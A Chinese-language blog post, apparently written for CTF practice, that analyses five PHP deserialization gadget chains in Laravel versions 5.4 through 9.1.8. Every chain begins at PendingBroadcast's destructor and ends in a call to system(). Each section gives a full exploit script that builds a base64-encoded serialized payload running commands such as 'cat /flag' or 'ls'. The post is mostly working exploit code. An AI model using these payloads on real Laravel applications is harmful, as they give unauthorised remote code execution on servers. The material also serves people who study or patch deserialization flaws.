Laravel框架 五条RCE 探究

  • Laravel 5.4.x RCE

vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php

namespace Illuminate\Broadcasting;

class PendingBroadcast {
    protected $events; 
    protected $event;
    
    public function __construct(Dispatcher $events, $event) {
        $this->event = $event;
        $this->events = $events;
    }

 
    public function __destruct() {
        $this->events->dispatch($this->event);
    }
}

给一个有__call方法的类调用一个该类不存在的方法,会把这个方法强制转换为字符串作为第一个参数,并且把调用时传进来的参数作为数组作为第二个参数
也就对应 "dispatch" 和$event

通过给 $events的属性值赋予含有__call魔术方法的类,使得此链得以延续。选择的类为

vendor/laravel/framework/src/Illuminate/Validation/Validator.php

<?php
namespace Illuminate\Validation;

class Validator {
  
    public $extensions = [];
                        //"dispatch"和$event
    public function __call($method, $parameters) {

        // "dispatch"被处理后还是""
        $rule = Str::snake(substr($method, 8));
                 //检查extensions是否有叫做""的键名
        if (isset($this->extensions[$rule])) {
            return $this->callExtension($rule, $parameters);
        } 
        throw new BadMethodCallException("Method [$method] does not exist.");
    


protected function callExtension($rule, $parameters) {
    //获取$extensions数组的dispatch键的键值
    $callback = $this->extensions[$rule]; 

        //检查字符串是否
    if (is_string($callback)) {
              //核心调用函数
        return call_user_func($callback, ...$parameters);
    }                                    //...是散列运算符,用于“拆包”
}}}

期望$callback的值是system,可以令extensions = ['' => 'system'];

而 $parameters对应的是PendingBroadcast的属性$events,可以操控

由此return call_user_func($callback, ...$parameters);都课可以控制了

整体逻辑
PendingBroadcast(__destruct) --> Validator(__call) --> Validator(callExtension) --> Validator(call_user_func)

  • 构造exp
<?php

namespace Illuminate\Broadcasting {
class PendingBroadcast {
    protected $event="cat /flag"; //
    protected $events;     
  
    public function __construct($k){
        $this->events=$k;  
}}}

namespace Illuminate\Validation {    

class Validator {
    public $extensions =  ['' => 'system'];
}}

namespace{

    $a=new \Illuminate\Validation\Validator();
    $b=new Illuminate\Broadcasting\PendingBroadcast($a);

echo base64_encode(serialize(new \Illuminate\Broadcasting\PendingBroadcast($a)));
}

  • Laravel 5.5.0 - 5.5.40 RCE

vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php

<?php

namespace Illuminate\Broadcasting;
class PendingBroadcast
{
    protected $events; 
    protected $event;  
    public function __destruct()
    {
       
        $this->events->dispatch($this->event);
    }
}

vendor/laravel/framework/src/Illuminate/Events/Dispatcher.php



<?php

namespace Illuminate\Events;
class Dispatcher implements DispatcherContract
{
    protected $listeners = [];

    protected function parseEventAndPayload($event, $payload){
    // 如果你传的是一个对象(比如 new UserRegistered())
    if (is_object($event)) {
        // 它会把对象本身变成 payload,把类名变成 event 名
        list($payload, $event) = [[$event], get_class($event)];
    }    
 //传入的是一个字符串,此时的情况
//把$event返回,把$payload给强制数组转换
    return [$event, Arr::wrap($payload)];
}
/////////////////////////////////////////////////////////////////////////////

    // 接收到了PendingBroadcast的$event
    public function dispatch($event, $payload = [], $halt = false)
    {
        // 这里的 $event 依然是 $event ,因为传入的不是对象
        list($event, $payload) = $this->parseEventAndPayload($event, $payload);

        foreach ($this->getListeners($event) as $listener) {
            // 等价于取出listeners数组里面的键为$event的值
            // $变量名() 会当做函数执行
            $response = $listener($event, $payload);
            //php中,赋值运算符的语句会从右往左,这个函数会被执行
            //在 php 7.x 以下 如果执行system("ls","xxx") 会报错,但是依然会输出执行的结果
        }
    }

    public function getListeners($eventName)
    {
        //  查找逻辑
        // 它去 $this->listeners 数组里找这个键
        if (isset($this->listeners[$eventName])) {
            return $this->listeners[$eventName];
        }
    }
}

给第一个类的$event赋值"ls"
由于foreach不能遍历字符串,所以采用数组嵌套,给该类的$listeners赋值["ls" => ["system"]]
即可构造出system("ls",[])

逻辑链就是PendingBroadcast(__destruct) --> Dispatcher(dispatch) --> Dispatch($listener($event, $payload))

  • 构造exp
<?php

namespace Illuminate\Broadcasting{
class PendingBroadcast
{ 
    protected $event='cat /flag';
    protected $events;  

    public function __construct($k){

        $this->events=$k;
    }}}

namespace Illuminate\Events{
class Dispatcher
{
    protected $listeners = ['cat /flag' => ['system']];
}}


namespace{

    $a=new Illuminate\Events\Dispatcher();
    $b=new Illuminate\Broadcasting\pendingBroadcast($a);

    echo base64_encode(serialize($b));
}
  • Laravel 5.5.x - 9.1.8 RCE

Illuminate/Broadcasting/PendingBroadcast.php

<?php

namespace Illuminate\Broadcasting;

class PendingBroadcast
{
   
    protected $events; 
    
    protected $event;  

    public function __destruct()
    {

        $this->events->dispatch($this->event);
    }
}

Illuminate/Notifications/ChannelManager.php
Illuminate/Support/Manager.php

<?php

namespace Illuminate\Notifications;

// 继承了 Manager  核心在于Manager类,但是Manager类是一个抽象类,无法被实例化,借助它的继承类作为桥梁
use Illuminate\Support\Manager;

class ChannelManager extends Manager
{
    protected $defaultChannel = 'mail'; // 可控,后文作为$driver的值 不重要

    public function getDefaultDriver()
    {
        return $this->defaultChannel;
    }

}

//直接给出它的父类
namespace Illuminate\Support;

abstract class Manager
{

    protected $app;


    protected $customCreators = [];

    protected $drivers = [];

                          //$method是"dispatch"    $parameters是$event
    public function __call($method, $parameters)
    {
        //只需要看 return $this->driver()
        return $this->driver()->$method(...$parameters);
    }

          //如果$driver没有被定义,则执行
    public function driver($driver = null)
    {
                    //没有被定义,执行getDefaultDriver();
        $driver = $driver ?: $this->getDefaultDriver();
                 //检查$drivers是否有为键名为$driver的键值存在
        if (! isset($this->drivers[$driver])) {
                                    //通过createDriver($driver);赋值
            $this->drivers[$driver] = $this->createDriver($driver);
        }

        return $this->drivers[$driver];
    }
 
    protected function createDriver($driver)
    {
                         //检查$customCreators是否有名为$driver的键值
        if (isset($this->customCreators[$driver])) {
     
            return $this->callCustomCreator($driver);
        }

    }

   
    protected function callCustomCreator($driver)
    {
                    //将$customCreators的键名为$driver的键值赋值给$method
        $method = $this->customCreators[$driver]; 
        
             //并且执行该函数
        return $method($this->app);
    }
}

只需要给$events赋值为类ChannelManager,

ChannelManager会触发Manager的__call方法。

目标是触发return $method($this->app);

那么只需要给$method赋值为"system" 给$app赋值为要执行的语句即可。想要触发这一环需要customCreators[$driver]存在,$driver的原始值是"mail"。

因此只要令customCreators["maile"]="system"即可

逻辑链就是

PendingBroadcast(__destruct) --> ChannelManager -->Manager(__call)--> Manager($this->driver()) -->  Manager($this->createDriver($driver);) --> Manager(callCustomCreator($driver);)
  • 构造exp
<?php
namespace Illuminate\Broadcasting{

class PendingBroadcast
{
   protected $event="yes wind";
   protected $events;
   
   public function __construct($k){
    $this->events=$k;  
}}}

namespace Illuminate\Notifications{

class ChannelManager
{
    protected $defaultChannel = 'mail'; 
    protected $app="ls";
    protected $customCreators = ["mail" => "system"];

}}

namespace{

    $a=new Illuminate\Notifications\ChannelManager();
    $b=new Illuminate\Broadcasting\PendingBroadcast($a);
    echo base64_encode(serialize($b));
}
  • Laravel 5.5.x - 8.x RCE

Illuminate/Broadcasting/PendingBroadcast.php

<?php

namespace Illuminate\Broadcasting;

class PendingBroadcast
{
    protected $events;
    protected $event;
    public function __destruct()
    {
        $this->events->dispatch($this->event);
    }
}

vendor/fzaninotto/faker/src/Faker/ValidGenerator.php

<?php

namespace Faker;

class ValidGenerator
{
    protected $generator;
    protected $validator;
    protected $maxRetries;
    
                //$name="dispatch" $argument=$event
    public function __call($name, $arguments)
    {
        $i = 0;
        do {
                   // 等价于$res = $this->generator->$name(); 可以给$generator绑定到类DefaultGenerator
            $res = call_user_func_array(array($this->generator, $name), $arguments);
        
            $i++;
            if ($i > $this->maxRetries) {
                throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
            }
        } while (!call_user_func($this->validator, $res)); //执行点
        return $res;
    }
}

vendor/fzaninotto/faker/src/Faker/DefaultGenerator.php

<?php

namespace Faker;

class DefaultGenerator
{
    protected $default;

    public function __construct($default = null)
    {
        $this->default = $default;
    }

    public function __call($method, $attributes)
    {

        return $this->default;//$default可控,就是控制了$res
    }

}

目标是执行call_user_func($this->validator, $res)

$validator完全可控 $res由$default决定,也可控

构造call_user_func("system","ls");可行

逻辑链就是
PendingBroadcast(__destruct) --> ValidGenerator(do) --> DefaultGenerator(__call) --> ValidGenerator(while)

  • 构造exp
<?php

namespace Illuminate\Broadcasting{

class PendingBroadcast
{
    protected $events;
    protected $event="yes wind";
    public function __construct($k){
        $this -> events=$k;
    }
}}

namespace Faker{

class ValidGenerator
{
    protected $maxRetries=1127;
    protected $generator;
    protected $validator="system";
    public function __construct($k){
        $this -> generator=$k;

    }
}}


namespace Faker{
class DefaultGenerator
{
    protected $default="ls";


}}

namespace{

$a=new Faker\DefaultGenerator();
$b=new Faker\ValidGenerator($a);
$c=new Illuminate\Broadcasting\PendingBroadcast($b);
 echo base64_encode(serialize($c));

}
  • Laravel 5.7.0 - 6.x RCE

Illuminate/Broadcasting/PendingBroadcast.php

<?php

class PendingBroadcast
{
    protected $events;
    protected $event;

    public function __destruct()
    {

        $this->events->dispatch($this->event); 
    }
}

Illuminate/Bus/Dispatcher.php

<?php

class Dispatcher implements QueueingDispatcher
{
    protected $queueResolver; 

    public function dispatch($command)
    {
     
        // $queueResolver可控, commandShouldBeQueued($command)取决于构造的$command 是什么类
        if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
            return $this->dispatchToQueue($command);
        }

        return $this->dispatchNow($command);
    }

    public function dispatchToQueue($command)
    {
                                             
                //?? 表示左边语句失败才执行右边语句
        $connection = $command->connection ?? null;

               //核心利用点
        $queue = call_user_func($this->queueResolver, $connection); 

               //会抛出错误但是不影响
        return $queue->push($command);
    }

    // 辅助函数:检查命令是否需要进入队列
    protected function commandShouldBeQueued($command)
    {
      //必须实现了 ShouldQueue 接口
        return $command instanceof ShouldQueue;
    }
}

call_user_func的$queueResolver完全可控,$connection等于$command的对象$connection

$command来自class PendingBroadcast的$event。

那么只要把$event伪造为一个对象。赋值$queueResolver即可。实现接口可以伪造为一个ShouldQueue 接口的对像QueuedCommand

逻辑链就是
PendingBroadcast(__destruct) --> Dispatcher(dispatch) -->Dispatcher(dispatchToQueue) --> Dispatcher(call_user_func)

  • 构造exp
<?php
namespace Illuminate\Broadcasting {
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($a, $b)
        {
            $this->events = $a;
            $this->event = $b;
        }}}

namespace Illuminate\Bus {
    class Dispatcher
    {
        protected $queueResolver = "system";
    }}

namespace Illuminate\Foundation\Console {
    class QueuedCommand
    {
        public $connection;
    }}

namespace {
    use Illuminate\Bus\Dispatcher;
    use Illuminate\Broadcasting\PendingBroadcast;
    use Illuminate\Foundation\Console\QueuedCommand;

    $command = new QueuedCommand();
    $command->connection = "ls /"; 
    $dispatcher = new Dispatcher();
    $payload = new PendingBroadcast($dispatcher, $command);
    echo base64_encode(serialize($payload));
}

(注意会输出报错内容,查看网页源码可以看到执行结果)

posted @ 2026-01-06 21:48  yeswind野风  阅读(53)  评论(0)    收藏  举报